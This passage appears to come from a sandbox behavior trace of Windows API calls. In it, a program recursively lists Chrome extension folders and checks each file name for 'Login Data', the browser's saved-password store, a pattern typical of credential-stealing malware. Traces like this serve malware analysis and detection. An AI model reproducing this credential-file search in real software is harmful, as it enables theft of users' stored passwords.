hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.820] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0054.820] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0054.820] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.820] lstrlenA (lpString="\\") returned 1 [0054.820] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.820] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.820] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.820] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.820] lstrlenA (lpString="bg") returned 2 [0054.820] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.820] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.820] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0054.820] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 131 [0054.820] lstrlenA (lpString="\\*.*") returned 4 [0054.820] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.820] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" [0054.820] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*" [0054.820] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.820] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.820] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.820] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.820] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.820] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.820] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.820] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.820] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.820] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.820] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0054.820] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0054.820] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.820] lstrlenA (lpString="\\") returned 1 [0054.820] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.820] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.820] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.821] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.821] lstrlenA (lpString="ca") returned 2 [0054.821] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.821] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.821] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0054.821] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 131 [0054.821] lstrlenA (lpString="\\*.*") returned 4 [0054.821] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.821] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca" [0054.821] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*" [0054.821] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.821] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.821] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.821] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.821] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.821] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.821] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.821] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.821] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.821] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.821] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0054.821] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0054.821] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.821] lstrlenA (lpString="\\") returned 1 [0054.821] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.821] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.821] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.821] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.821] lstrlenA (lpString="cs") returned 2 [0054.821] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.821] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.821] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0054.821] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned 131 [0054.821] lstrlenA (lpString="\\*.*") returned 4 [0054.821] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.821] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs" [0054.821] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*" [0054.821] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.822] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.822] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.822] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.822] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.822] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.822] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.822] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0054.822] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0054.822] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.822] lstrlenA (lpString="\\") returned 1 [0054.822] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.822] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.822] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.822] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.822] lstrlenA (lpString="da") returned 2 [0054.822] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.822] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.822] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0054.822] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned 131 [0054.822] lstrlenA (lpString="\\*.*") returned 4 [0054.822] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.822] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da" [0054.822] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*" [0054.822] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.822] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.822] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.822] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.822] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.822] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.822] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.822] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.822] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0054.822] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0054.822] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.823] lstrlenA (lpString="\\") returned 1 [0054.823] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.823] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.823] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.823] lstrlenA (lpString="de") returned 2 [0054.823] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.823] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.823] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" [0054.823] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de") returned 131 [0054.823] lstrlenA (lpString="\\*.*") returned 4 [0054.823] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK 